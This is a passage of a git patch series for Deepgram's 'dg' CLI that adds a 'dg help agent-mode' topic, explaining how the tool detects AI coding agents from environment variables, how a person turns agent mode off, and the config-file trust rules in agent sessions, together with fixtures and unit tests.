+        assert after["cwd_relative"] is True and "absent" not in after
+        assert after["size"] == (work / "deepgram.yaml").stat().st_size
+
+    def test_dangling_symlink_is_not_recorded_as_absent(
+        self, homes: Homes, tmp_path: Path
+    ) -> None:
+        link = tmp_path / "link"
+        link.symlink_to(tmp_path / "missing")
+        item = _cache.file_state(str(link))
+        assert "absent" not in item
+        assert stat.S_ISLNK(item["mode"])
+
+    def test_every_agent_signal_input_is_keyed(
+        self, homes: Homes, monkeypatch: pytest.MonkeyPatch, tmp_path: Path
+    ) -> None:
+        from deepctl_core import agents
+
+        marker = tmp_path / "devin-marker"
+        monkeypatch.setattr(agents, "DEVIN_MARKER", str(marker))
+        names, files = agents.hard_inputs()
+        assert "PATH" in names and set(HARD_ENV_VARS) <= set(names)
+        assert files == ((str(marker),) if os.name == "posix" else ())
+        inputs = _cache.key_inputs()
+        assert set(names) | {"DG_AGENT"} <= set(inputs["env"])
+        assert inputs["env"]["PATH"] == os.environ.get("PATH")
+        if os.name == "posix":
+            assert _key_files()[str(marker)] == {"path": str(marker), "absent": True}
+            marker.write_text("")
+            assert _cache.key_inputs() != inputs
+
+    def test_pi_path_changes_the_key(
+        self, homes: Homes, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        monkeypatch.setenv("PATH", "/usr/bin:/bin")
+        before = _cache.key_inputs()
+        monkeypatch.setenv("PATH", "/home/x/.pi/agent:/usr/bin:/bin")
+        assert _cache.key_inputs()["env"] != before["env"]
+
+    def test_key_validates_against_the_schema(
+        self, homes: Homes, tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        monkeypatch.chdir(tmp_path)
+        (tmp_path / "deepgram.yaml").write_text("x: 1\n")
+        key = _cache.help_key("dg", 80, False, b"")
+        schema = json.loads(KEY_SCHEMA.read_text())
+        del schema["properties"]["files"]["maxItems"]
+        jsonschema.validate(key, schema)
+
+
 class TestRoundFour:
     def test_prog_name_is_not_in_the_key_env(
         self,

From 6a74a6634005cf3965c00734772f29222e26551c Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 15:23:38 -0500
Subject: [PATCH 54/88] feat(help): explain agent mode with dg help agent-mode

"dg help agent-mode" prints, as plain text and offline:

- the detection table, each row with the sources that document it;
- which row this process matched, and why agent mode is on or off;
- how a person removes a stray marker in sh/bash/zsh, fish,
  PowerShell and cmd, and DG_AGENT=0 for the markers that can't be
  unset;
- the trust rules in agent sessions: a user config that others can
  change or another user owns is ignored, its API key unused and
  never saved to, DG_AGENT=0 doesn't change that, and the person runs
  chmod 600 on it.

"dg help" is a new command group from the root distribution, added
as manifest fragments with root entry points. The README points to
the topic instead of listing a few variables.
---
 README.md                                     |  10 +-
 .../tests/unit/test_plugin_manager.py         |   5 +-
 pyproject.toml                                |  12 +-
 src/deepctl/_cli.py                           |  11 +-
 src/deepctl/_manifest.d/help-agent-mode.json  | 137 ++++++++++
 src/deepctl/_manifest.d/help.json             |  23 ++
 src/deepctl/help_topics/__init__.py           |  29 +++
 src/deepctl/help_topics/agent_mode.py         | 223 ++++++++++++++++
 .../fixtures/help_agent_mode/claudecode.txt   |  79 ++++++
 .../unit/fixtures/help_agent_mode/person.txt  |  79 ++++++
 tests/unit/test_help_agent_mode.py            | 244 ++++++++++++++++++
 tests/unit/test_lazy_group.py                 |   2 +-
 tests/unit/test_manifest.py                   |  11 +-
 13 files changed, 848 insertions(+), 17 deletions(-)
 create mode 100644 src/deepctl/_manifest.d/help-agent-mode.json
 create mode 100644 src/deepctl/_manifest.d/help.json
 create mode 100644 src/deepctl/help_topics/__init__.py
 create mode 100644 src/deepctl/help_topics/agent_mode.py
 create mode 100644 tests/unit/fixtures/help_agent_mode/claudecode.txt
 create mode 100644 tests/unit/fixtures/help_agent_mode/person.txt
 create mode 100644 tests/unit/test_help_agent_mode.py

diff --git a/README.md b/README.md
index 55019992..919b99e9 100644
--- a/README.md
+++ b/README.md
@@ -409,9 +409,13 @@ CI=1 dg listen recording.wav
 ```
 
 Also recognised: `--agent-friendly` (alias intended for AI coding tools — same
-effect plus JSON metadata output), and the auto-detected env vars
-`CLAUDECODE`, `CLAUDE_CODE_ENTRYPOINT`, `CODEX_SANDBOX`, and Aider's
-`OR_APP_NAME` / `OR_SITE_URL`.
+effect plus JSON metadata output). dg also detects AI coding agents from the
+variables they set (`AI_AGENT`, `CLAUDECODE`, `CODEX_SANDBOX`, `GEMINI_CLI`
+and others). `dg help agent-mode` prints the full table with its sources,
+what your shell matched, and how to turn it off. `DG_AGENT=1` forces agent
+mode and `DG_AGENT=0` turns it off for output and prompts; it doesn't change
+the config file rules for agent sessions (see `dg help agent-mode`).
+`NO_COLOR` only turns color off.
 
 ## Plugins
 
diff --git a/packages/deepctl-core/tests/unit/test_plugin_manager.py b/packages/deepctl-core/tests/unit/test_plugin_manager.py
index d18b3511..f2ed8809 100644
--- a/packages/deepctl-core/tests/unit/test_plugin_manager.py
+++ b/packages/deepctl-core/tests/unit/test_plugin_manager.py
@@ -2012,7 +2012,8 @@ def test_saved_allow_override_is_read_from_the_real_home_under_an_agent(
 
 class TestBuiltinMapMatchesInstalledPackages:
     """The reserved-name table matches what the first-party packages in this
-    repository declare (read from packages/*/pyproject.toml)."""
+    repository declare (read from packages/*/pyproject.toml and the root
+    pyproject.toml)."""
 
     def _declared(self, group_prefix):
         try:
@@ -2027,6 +2028,8 @@ def _declared(self, group_prefix):
         )
         if not files:
             pytest.skip("not running from a source checkout")
+        # The root distribution ships the help topics.
+        files.insert(0, parents[2].parent.parent / "pyproject.toml")
         found: dict = {}
         for path in files:
             data = tomllib.loads(path.read_text(encoding="utf-8"))
diff --git a/pyproject.toml b/pyproject.toml
index 41774642..0fe15cec 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -114,12 +114,12 @@ deepctl = "deepctl.main:main"
 deepgram = "deepctl.main:main"
 dg = "deepctl.main:main"
 
-# Entry points are now provided by individual command packages
-# [project.entry-points."deepctl.commands"]
-# transcribe = "deepctl.commands.transcribe:TranscribeCommand"
-# projects = "deepctl.commands.projects:ProjectsCommand"
-# usage = "deepctl.commands.usage:UsageCommand"
-# login = "deepctl.commands.login:LoginCommand"
+# Most commands come from the command packages; the help topics ship here.
+[project.entry-points."deepctl.commands"]
+help = "deepctl.help_topics:HelpCommand"
+
+[project.entry-points."deepctl.subcommands.help"]
+agent-mode = "deepctl.help_topics.agent_mode:AgentModeCommand"
 
 [tool.setuptools]
 package-dir = { "" = "src" }
diff --git a/src/deepctl/_cli.py b/src/deepctl/_cli.py
index 5faaef33..1a5f823c 100644
--- a/src/deepctl/_cli.py
+++ b/src/deepctl/_cli.py
@@ -1121,9 +1121,16 @@ def __init__(self, config_path: str | None) -> None:
 
 
 def _is_help_run(args: list[str]) -> bool:
-    """Whether ``--help`` appears among the options (before any ``--``)."""
+    """Whether this run only prints help: ``--help`` among the options
+    (before any ``--``), or the ``help`` command (``dg help <topic>``)."""
     words = args[: args.index("--")] if "--" in args else args
-    return "--help" in words
+    if "--help" in words:
+        return True
+    flag_opts = _root_flag_opts()
+    i = 0
+    while i < len(args) and args[i].startswith("-") and args[i] != "--":
+        i += 2 if _takes_next_token(args[i], flag_opts) else 1
+    return i < len(args) and args[i] == "help"
 
 
 def prog_name(default: str | None = None) -> str | None:
diff --git a/src/deepctl/_manifest.d/help-agent-mode.json b/src/deepctl/_manifest.d/help-agent-mode.json
new file mode 100644
index 00000000..24166e2a
--- /dev/null
+++ b/src/deepctl/_manifest.d/help-agent-mode.json
@@ -0,0 +1,137 @@
+{
+  "name": "agent-mode",
+  "parent": "help",
+  "module": "deepctl.help_topics.agent_mode",
+  "attr": "AgentModeCommand",
+  "dist": "deepctl",
+  "summary": "Explain agent mode",
+  "hidden": false,
+  "requires_auth": false,
+  "help": {
+    "name": "agent-mode",
+    "help": "Explain agent mode: how dg detects AI agents, what this shell matched, how to turn it off, and the config trust rules\n\nExamples:\n  dg help agent-mode\n\n\nFor agents, use --agent-friendly.",
+    "short_help": "Explain agent mode",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": false,
+    "options_metavar": "[OPTIONS]",
+    "params": [
+      {
+        "class": "option",
+        "name": "agent_friendly",
+        "opts": [
+          "--agent-friendly"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": true,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Output machine-readable JSON metadata for this command and exit."
+      },
+      {
+        "class": "option",
+        "name": "non_interactive",
+        "opts": [
+          "--non-interactive"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Skip interactive prompts; use defaults for any optional features."
+      },
+      {
+        "class": "option",
+        "name": "output",
+        "opts": [
+          "--output",
+          "-o"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "choice",
+          "choices": [
+            "json",
+            "yaml",
+            "table",
+            "csv"
+          ],
+          "case_sensitive": false
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": false,
+        "count": false,
+        "hidden": false,
+        "help": "Output format (same as the global -o before the command)."
+      },
+      {
+        "class": "option",
+        "name": "quiet",
+        "opts": [
+          "--quiet",
+          "-q"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Suppress non-essential output."
+      },
+      {
+        "class": "option",
+        "name": "verbose",
+        "opts": [
+          "--verbose",
+          "-v"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": false,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Enable verbose output."
+      }
+    ]
+  }
+}
diff --git a/src/deepctl/_manifest.d/help.json b/src/deepctl/_manifest.d/help.json
new file mode 100644
index 00000000..63a4b392
--- /dev/null
+++ b/src/deepctl/_manifest.d/help.json
@@ -0,0 +1,23 @@
+{
+  "name": "help",
+  "module": "deepctl.help_topics",
+  "attr": "HelpCommand",
+  "dist": "deepctl",
+  "summary": "Help topics",
+  "hidden": false,
+  "group": true,
+  "requires_auth": false,
+  "help": {
+    "name": "help",
+    "help": "Explain how dg behaves, one topic at a time",
+    "short_help": "Help topics",
+    "epilog": null,
+    "hidden": false,
+    "deprecated": false,
+    "no_args_is_help": true,
+    "options_metavar": "[OPTIONS]",
+    "params": [],
+    "group": true,
+    "subcommand_metavar": "COMMAND [ARGS]..."
+  }
+}
diff --git a/src/deepctl/help_topics/__init__.py b/src/deepctl/help_topics/__init__.py
new file mode 100644
index 00000000..3a030b43
--- /dev/null
+++ b/src/deepctl/help_topics/__init__.py
@@ -0,0 +1,29 @@
+"""``dg help <topic>``: longer explanations that don't fit a command's
+``--help``. Each topic is a subcommand that prints text to stdout, works
+offline and reads no credentials."""
+
+from __future__ import annotations
+
+from typing import ClassVar
+
+from deepctl_core.base_group_command import BaseGroupCommand
+
+
+class HelpCommand(BaseGroupCommand):
+    """Help topics."""
+
+    name = "help"
+    help = "Explain how dg behaves, one topic at a time"
+    short_help = "Help topics"
+
+    requires_auth = False
+    requires_project = False
+    ci_friendly = True
+
+    examples: ClassVar[list[str]] = ["dg help agent-mode"]
+    agent_help = (
+        "Longer help topics. 'agent-mode' explains how dg detects AI agents, "
+        "what agent mode changes, and the config trust rules in agent sessions."
+    )
+
+    invoke_without_command = False
diff --git a/src/deepctl/help_topics/agent_mode.py b/src/deepctl/help_topics/agent_mode.py
new file mode 100644
index 00000000..e0c95474
--- /dev/null
+++ b/src/deepctl/help_topics/agent_mode.py
@@ -0,0 +1,223 @@
+"""``dg help agent-mode``: how dg detects AI agents, what this process
+matched, how a person turns it off, and the trust rules that stay on.
+
+Plain text on stdout, whatever the output format: it's documentation.
+Offline, and it reads no credentials.
+"""
+
+from __future__ import annotations
+
+import os
+import sys
+import textwrap
+from typing import TYPE_CHECKING, Any, ClassVar
+
+from deepctl_core import agents
+from deepctl_core.base_command import BaseCommand
+
+if TYPE_CHECKING:
+    from collections.abc import Mapping
+
+    from deepctl_core import AuthManager, Config, DeepgramClient
+
+_SIGNAL_WIDTH = 31
+_CONDITION_WIDTH = 15
+_HERE_WIDTH = 5
+
+_REMEDIES = (
+    ("sh, bash, zsh", "unset {name}"),
+    ("fish", "set -e {name}"),
+    ("PowerShell", "Remove-Item Env:{name}"),
+    ("cmd", "set {name}="),
+)
+
+
+def _para(text: str, indent: str = "  ") -> list[str]:
+    return textwrap.wrap(
+        text,
+        width=76,
+        initial_indent=indent,
+        subsequent_indent=indent,
+        break_long_words=False,
+        break_on_hyphens=False,
+    )
+
+
+def _row(signal: str, condition: str, here: str, sources: str) -> str:
+    return (
+        f"  {signal:<{_SIGNAL_WIDTH}} {condition:<{_CONDITION_WIDTH}} "
+        f"{here:<{_HERE_WIDTH}} {sources}"
+    ).rstrip()
+
+
+def _status(detection: agents.Detection) -> list[str]:
+    marker = detection.marker
+    if detection.override == "1":
+        return ["  Agent mode: on, because DG_AGENT=1."]
+    if detection.override == "0":
+        lines = ["  Agent mode: off, because DG_AGENT=0."]
+        if marker is not None:
+            lines.append(
+                f"  An AI-agent signal is still set ({marker.reason}), so the "
+                "config file rules below apply."
+            )
+        return lines
+    if marker is not None:
+        verb = "matched" if marker.session else "is set"
+        return [f"  Agent mode: on, because {marker.reason} {verb}."]
+    if detection.soft_reason is not None:
+        why = {
+            "CI": "CI is set",
+            "no terminal": "there is no terminal",
+        }.get(detection.soft_reason, f"of {detection.soft_reason}")
+        return [
+            "  Agent mode: off.",
+            f"  JSON output and no questions, because {why}.",
+        ]
+    return ["  Agent mode: off. No signal matched."]
+
+
+def _owner_fix(config_path: str) -> list[str]:
+    """The command that fixes the config file's permissions. Windows has
+    none: dg doesn't check the owner or permissions there."""
+    if sys.platform == "win32":
+        return _para(
+            "On Windows, dg doesn't check the file's owner or permissions.",
+            indent="    ",
+        )
+    return [f"    chmod 600 {config_path}"]
+
+
+def render(
+    prog: str,
+    config_path: str,
+    env: Mapping[str, str] | None = None,
+    argv: list[str] | None = None,
+) -> str:
+    """The topic's text for this process (or the given environment)."""
+    detection = agents.detect(env, argv)
+    env_map: Mapping[str, str] = os.environ if env is None else env
+    marker = detection.marker
+    name = marker.reason if marker is not None and not marker.session else "NAME"
+
+    lines = [
+        "AGENT MODE",
+        "",
+        *_para(
+            f"{prog} runs in agent mode when an AI coding agent runs it. In "
+            f"agent mode {prog} writes JSON unless you pick a format with -o, "
+            "never asks questions, shows no update or setup notices, and "
+            "starts each line it writes to stderr with ERROR:, WARN:, INFO:, "
+            "HINT:, OK: or DEPRECATED:."
+        ),
+        "",
+        "HOW IT DECIDES",
+        "",
+        "  1. DG_AGENT=1 turns agent mode on. DG_AGENT=0 turns it off.",
+        "  2. Otherwise the first signal below that matches turns it on.",
+        "  3. Otherwise CI=true, --non-interactive, --agent-friendly, or no",
+        "     terminal at all (stdin and stdout not terminals, TERM unset or",
+        "     dumb) switch to JSON output and turn questions off.",
+        "  NO_COLOR only turns color off.",
+        "",
+        "SIGNALS",
+        "",
+        _row("Signal", "Condition", "Here", "Source"),
+    ]
+    for signal in agents.HARD_SIGNALS:
+        matched = signal.match(env_map) is not None
+        lines.append(
+            _row(
+                signal.name,
+                signal.condition,
+                "yes" if matched else "-",
+                ", ".join(signal.sources),
+            )
+        )
+    lines += [
+        "",
+        '  "set" means present and not empty.',
+        "",
+        "THIS PROCESS",
+        "",
+        *_status(detection),
+        "",
+        "IF YOU ARE A PERSON",
+        "",
+        *_para(
+            "If a signal is set in your own shell by mistake, remove it from "
+            "your environment, and from the shell profile, alias or wrapper "
+            "that sets it:"
+        ),
+        "",
+    ]
+    lines += [
+        f"    {shell:<15} {command.format(name=name)}" for shell, command in _REMEDIES
+    ]
+    lines += [
+        "",
+        *_para(
+            f"For {agents.DEVIN_MARKER} or a .pi/agent entry in PATH, run with "
+            "DG_AGENT=0 for human output. The config file rules below still apply."
+        ),
+        "",
+        "CONFIG FILES IN AGENT SESSIONS",
+        "",
+        *_para(
+            f"While any signal above is set, {prog} won't read the user config "
+            f"({config_path}), or the API key in it, if other users can "
+            "change the file or another user owns it. It won't save to that "
+            "file either. DG_AGENT=0 doesn't change this. To fix the file, "
+            "make sure you own it, then run this yourself, not through an "
+            "agent:"
+        ),
+        "",
+        *_owner_fix(config_path),
+        "",
+        "SOURCES",
+        "",
+    ]
+    width = max(len(key) for key in agents.SOURCES)
+    lines += [f"  {key:<{width}}  {url}" for key, url in agents.SOURCES.items()]
+    return "\n".join(lines) + "\n"
+
+
+class AgentModeCommand(BaseCommand):
+    """Explain agent mode."""
+
+    name = "agent-mode"
+    help = (
+        "Explain agent mode: how dg detects AI agents, what this shell "
+        "matched, how to turn it off, and the config trust rules"
+    )
+    short_help = "Explain agent mode"
+
+    requires_auth = False
+    requires_project = False
+    ci_friendly = True
+
+    examples: ClassVar[list[str]] = ["dg help agent-mode"]
+    agent_help = (
+        "Print, as text, the AI-agent detection table with sources, which "
+        "signals this process matched, per-shell remedies, and the config "
+        "trust rules in agent sessions. Offline."
+    )
+
+    def handle(
+        self,
+        config: Config,
+        auth_manager: AuthManager,
+        client: DeepgramClient,
+        **kwargs: Any,
+    ) -> Any:
+        del config, auth_manager, client, kwargs
+        from deepctl_core.hosts import user_config_display
+        from deepctl_core.output import invoked_prog
+
+        text = render(invoked_prog(), user_config_display())
+        try:
+            sys.stdout.write(text)
+            sys.stdout.flush()
+        except (BrokenPipeError, ValueError):
+            pass
+        return None
diff --git a/tests/unit/fixtures/help_agent_mode/claudecode.txt b/tests/unit/fixtures/help_agent_mode/claudecode.txt
new file mode 100644
index 00000000..9690b76d
--- /dev/null
+++ b/tests/unit/fixtures/help_agent_mode/claudecode.txt
@@ -0,0 +1,79 @@
+AGENT MODE
+
+  dg runs in agent mode when an AI coding agent runs it. In agent mode dg
+  writes JSON unless you pick a format with -o, never asks questions, shows
+  no update or setup notices, and starts each line it writes to stderr with
+  ERROR:, WARN:, INFO:, HINT:, OK: or DEPRECATED:.
+
+HOW IT DECIDES
+
+  1. DG_AGENT=1 turns agent mode on. DG_AGENT=0 turns it off.
+  2. Otherwise the first signal below that matches turns it on.
+  3. Otherwise CI=true, --non-interactive, --agent-friendly, or no
+     terminal at all (stdin and stdout not terminals, TERM unset or
+     dumb) switch to JSON output and turn questions off.
+  NO_COLOR only turns color off.
+
+SIGNALS
+
+  Signal                          Condition       Here  Source
+  AI_AGENT                        set             -     gh, vercel, vscode
+  AGENT                           amp or goose    -     gh, goose
+  GOOSE_TERMINAL                  set             -     goose
+  CLAUDECODE                      set             yes   gh, vercel
+  CLAUDE_CODE                     set             -     gh, vercel
+  CLAUDE_CODE_IS_COWORK           set             -     gh
+  CLAUDE_CODE_ENTRYPOINT          set             -     claude-agent-sdk
+  CODEX_SANDBOX                   set             -     gh, vercel
+  CODEX_CI                        set             -     gh, vercel
+  CODEX_THREAD_ID                 set             -     gh, vercel
+  CODEX_SANDBOX_NETWORK_DISABLED  set             -     codex
+  GEMINI_CLI                      set             -     gh, vercel
+  COPILOT_CLI                     set             -     gh
+  OPENCODE                        set             -     gh
+  ANTIGRAVITY_AGENT               set             -     gh, vercel
+  AUGMENT_AGENT                   set             -     gh, vercel
+  CURSOR_AGENT                    set             -     gh, vercel
+  CURSOR_EXTENSION_HOST_ROLE      agent-exec      -     gh, vercel
+  OR_APP_NAME / OR_SITE_URL       Aider / aider   -     aider
+  /opt/.devin                     exists          -     vercel
+  PATH                            has .pi/agent   -     gh
+
+  "set" means present and not empty.
+
+THIS PROCESS
+
+  Agent mode: on, because CLAUDECODE is set.
+
+IF YOU ARE A PERSON
+
+  If a signal is set in your own shell by mistake, remove it from your
+  environment, and from the shell profile, alias or wrapper that sets it:
+
+    sh, bash, zsh   unset CLAUDECODE
+    fish            set -e CLAUDECODE
+    PowerShell      Remove-Item Env:CLAUDECODE
+    cmd             set CLAUDECODE=
+
+  For /opt/.devin or a .pi/agent entry in PATH, run with DG_AGENT=0 for
+  human output. The config file rules below still apply.
+
+CONFIG FILES IN AGENT SESSIONS
+
+  While any signal above is set, dg won't read the user config
+  (~/.config/deepctl/config.yaml), or the API key in it, if other users can
+  change the file or another user owns it. It won't save to that file
+  either. DG_AGENT=0 doesn't change this. To fix the file, make sure you own
+  it, then run this yourself, not through an agent:
+
+    chmod 600 ~/.config/deepctl/config.yaml
+
+SOURCES
+
+  gh                https://github.com/cli/cli/blob/trunk/internal/agents/detect.go
+  vercel            https://github.com/vercel/vercel/blob/main/packages/detect-agent/src/index.ts
+  vscode            https://github.com/microsoft/vscode/blob/main/src/vs/platform/chat/common/aiAgentEnv.ts
+  goose             https://github.com/block/goose/blob/main/documentation/docs/guides/environment-variables.md
+  codex             https://github.com/openai/codex/blob/main/codex-rs/core/src/spawn.rs
+  aider             https://github.com/Aider-AI/aider/blob/main/aider/llm.py
+  claude-agent-sdk  https://github.com/anthropics/claude-agent-sdk-python/blob/main/src/claude_agent_sdk/_internal/transport/subprocess_cli.py
diff --git a/tests/unit/fixtures/help_agent_mode/person.txt b/tests/unit/fixtures/help_agent_mode/person.txt
new file mode 100644
index 00000000..517f029b
--- /dev/null
+++ b/tests/unit/fixtures/help_agent_mode/person.txt
@@ -0,0 +1,79 @@
+AGENT MODE
+
+  dg runs in agent mode when an AI coding agent runs it. In agent mode dg
+  writes JSON unless you pick a format with -o, never asks questions, shows
+  no update or setup notices, and starts each line it writes to stderr with
+  ERROR:, WARN:, INFO:, HINT:, OK: or DEPRECATED:.
+
+HOW IT DECIDES
+
+  1. DG_AGENT=1 turns agent mode on. DG_AGENT=0 turns it off.
+  2. Otherwise the first signal below that matches turns it on.
+  3. Otherwise CI=true, --non-interactive, --agent-friendly, or no
+     terminal at all (stdin and stdout not terminals, TERM unset or
+     dumb) switch to JSON output and turn questions off.
+  NO_COLOR only turns color off.
+
+SIGNALS
+
+  Signal                          Condition       Here  Source
+  AI_AGENT                        set             -     gh, vercel, vscode
+  AGENT                           amp or goose    -     gh, goose
+  GOOSE_TERMINAL                  set             -     goose
+  CLAUDECODE                      set             -     gh, vercel
+  CLAUDE_CODE                     set             -     gh, vercel
+  CLAUDE_CODE_IS_COWORK           set             -     gh
+  CLAUDE_CODE_ENTRYPOINT          set             -     claude-agent-sdk
+  CODEX_SANDBOX                   set             -     gh, vercel
+  CODEX_CI                        set             -     gh, vercel
+  CODEX_THREAD_ID                 set             -     gh, vercel
+  CODEX_SANDBOX_NETWORK_DISABLED  set             -     codex
+  GEMINI_CLI                      set             -     gh, vercel
+  COPILOT_CLI                     set             -     gh
+  OPENCODE                        set             -     gh
+  ANTIGRAVITY_AGENT               set             -     gh, vercel
+  AUGMENT_AGENT                   set             -     gh, vercel
+  CURSOR_AGENT                    set             -     gh, vercel
+  CURSOR_EXTENSION_HOST_ROLE      agent-exec      -     gh, vercel
+  OR_APP_NAME / OR_SITE_URL       Aider / aider   -     aider
+  /opt/.devin                     exists          -     vercel
+  PATH                            has .pi/agent   -     gh
+
+  "set" means present and not empty.
+
+THIS PROCESS
+
+  Agent mode: off. No signal matched.
+
+IF YOU ARE A PERSON
+
+  If a signal is set in your own shell by mistake, remove it from your
+  environment, and from the shell profile, alias or wrapper that sets it:
+
+    sh, bash, zsh   unset NAME
+    fish            set -e NAME
+    PowerShell      Remove-Item Env:NAME
+    cmd             set NAME=
+
+  For /opt/.devin or a .pi/agent entry in PATH, run with DG_AGENT=0 for
+  human output. The config file rules below still apply.
+
+CONFIG FILES IN AGENT SESSIONS
+
+  While any signal above is set, dg won't read the user config
+  (~/.config/deepctl/config.yaml), or the API key in it, if other users can
+  change the file or another user owns it. It won't save to that file
+  either. DG_AGENT=0 doesn't change this. To fix the file, make sure you own
+  it, then run this yourself, not through an agent:
+
+    chmod 600 ~/.config/deepctl/config.yaml
+
+SOURCES
+
+  gh                https://github.com/cli/cli/blob/trunk/internal/agents/detect.go
+  vercel            https://github.com/vercel/vercel/blob/main/packages/detect-agent/src/index.ts
+  vscode            https://github.com/microsoft/vscode/blob/main/src/vs/platform/chat/common/aiAgentEnv.ts
+  goose             https://github.com/block/goose/blob/main/documentation/docs/guides/environment-variables.md
+  codex             https://github.com/openai/codex/blob/main/codex-rs/core/src/spawn.rs
+  aider             https://github.com/Aider-AI/aider/blob/main/aider/llm.py
+  claude-agent-sdk  https://github.com/anthropics/claude-agent-sdk-python/blob/main/src/claude_agent_sdk/_internal/transport/subprocess_cli.py
diff --git a/tests/unit/test_help_agent_mode.py b/tests/unit/test_help_agent_mode.py
new file mode 100644
index 00000000..19bbfa81
--- /dev/null
+++ b/tests/unit/test_help_agent_mode.py
@@ -0,0 +1,244 @@
+"""``dg help agent-mode``: the detection table with sources, what this
+process matched, per-shell remedies and the trust rules. Offline text."""
+
+from __future__ import annotations
+
+import os
+import subprocess
+import sys
+from pathlib import Path
+
+import pytest
+from deepctl_core import agents
+
+from deepctl.help_topics import agent_mode
+
+GOLDEN = Path(__file__).parent / "fixtures" / "help_agent_mode"
+CONFIG = "~/.config/deepctl/config.yaml"
+BASE_ENV = {"PATH": "/usr/local/bin:/usr/bin:/bin", "TERM": "xterm"}
+
+
+@pytest.fixture(autouse=True)
+def _no_devin(monkeypatch, tmp_path):
+    monkeypatch.setattr(agents, "DEVIN_MARKER", "/opt/.devin")
+    monkeypatch.setattr(agents, "_devin", lambda env: None)
+    # The HardSignal rows hold the function itself; swap the row too.
+    rows = tuple(
+        signal._replace(match=lambda env: None)
+        if signal.name == "/opt/.devin"
+        else signal
+        for signal in agents.HARD_SIGNALS
+    )
+    monkeypatch.setattr(agents, "HARD_SIGNALS", rows)
+    monkeypatch.setattr("sys.stdin.isatty", lambda: True)
+    monkeypatch.setattr("sys.stdout.isatty", lambda: True)
+
+
+def _render(**env: str) -> str:
+    return agent_mode.render("dg", CONFIG, {**BASE_ENV, **env}, [])
+
+
+@pytest.mark.parametrize(
+    ("golden", "env"),
+    [
+        ("claudecode.txt", {"CLAUDECODE": "1"}),
+        ("person.txt", {}),
+    ],
+)
+def test_golden(golden: str, env: dict[str, str]) -> None:
+    expected = (GOLDEN / golden).read_text(encoding="utf-8")
+    assert _render(**env) == expected
+
+
+def test_every_row_and_source_is_listed() -> None:
+    text = _render()
+    for signal in agents.HARD_SIGNALS:
+        assert signal.name in text
+    for key, url in agents.SOURCES.items():
+        assert f"  {key}" in text and url in text
+
+
+@pytest.mark.parametrize(
+    ("env", "row"),
+    [
+        ({"CLAUDECODE": "1"}, "CLAUDECODE "),
+        ({"CLAUDECODE": " "}, "CLAUDECODE "),
+        ({"AGENT": "goose"}, "AGENT "),
+        ({"OR_SITE_URL": "https://aider.chat"}, "OR_APP_NAME / OR_SITE_URL"),
+        ({"PATH": "/h/.pi/agent:/usr/bin"}, "PATH "),
+    ],
+)
+def test_matched_row_says_yes(env: dict[str, str], row: str) -> None:
+    here = {
+        line[2:33].strip(): line[50:55].strip()
+        for line in _render(**env).splitlines()
+        if len(line) > 50 and line[2:33].strip() in _ROW_NAMES
+    }
+    assert here[row.strip()] == "yes"
+    assert [name for name, mark in here.items() if mark == "yes"] == [row.strip()]
+
+
+_ROW_NAMES = {signal.name for signal in agents.HARD_SIGNALS}
+
+
+def test_remedies_name_the_matched_variable() -> None:
+    text = _render(GEMINI_CLI="1")
+    for line in (
+        "sh, bash, zsh   unset GEMINI_CLI",
+        "fish            set -e GEMINI_CLI",
+        "PowerShell      Remove-Item Env:GEMINI_CLI",
+        "cmd             set GEMINI_CLI=",
+    ):
+        assert f"    {line}" in text
+
+
+def test_dg_agent_0_still_reports_the_marker_and_trust() -> None:
+    text = " ".join(_render(CLAUDECODE="1", DG_AGENT="0").split())
+    assert "Agent mode: off, because DG_AGENT=0." in text
+    assert "An AI-agent signal is still set (CLAUDECODE)" in text
+    assert "DG_AGENT=0 doesn't change this." in text
+    assert f"chmod 600 {CONFIG}" in text
+
+
+def test_dg_agent_1() -> None:
+    assert "Agent mode: on, because DG_AGENT=1." in _render(DG_AGENT="1")
+
+
+def test_session_rows() -> None:
+    text = _render(PATH="/h/.pi/agent:/usr/bin")
+    assert "Agent mode: on, because a .pi/agent entry in PATH matched." in text
+    assert "unset NAME" in text
+
+
+def test_ci_is_reported_as_automation() -> None:
+    text = _render(CI="true")
+    assert "Agent mode: off." in text
+    assert "JSON output and no questions, because CI is set." in text
+
+
+ENTRY = (
+    "import sys; sys.argv[0] = '/opt/bin/dg'; "
+    "from deepctl.main import main; sys.exit(main())"
+)
+
+
+def _env(home: Path, **extra: str) -> dict[str, str]:
+    env = {
+        k: v
+        for k, v in os.environ.items()
+        if not k.startswith(("DEEPGRAM_", "PYTHON", "DEEPCTL_"))
+        and k not in (*agents.HARD_ENV_VARS, "DG_AGENT")
+    }
+    env.update(
+        HOME=str(home),
+        XDG_CONFIG_HOME=str(home / ".config"),
+        DEEPCTL_TELEMETRY_DISABLED="1",
+        DEEPCTL_TELEMETRY_DSN="http://k@127.0.0.1:9/1",
+        DEEPCTL_NO_UPDATE_CHECK="1",
+        DEEPCTL_PROG_NAME="dg",
+        PATH="/usr/local/bin:/usr/bin:/bin",
+    )
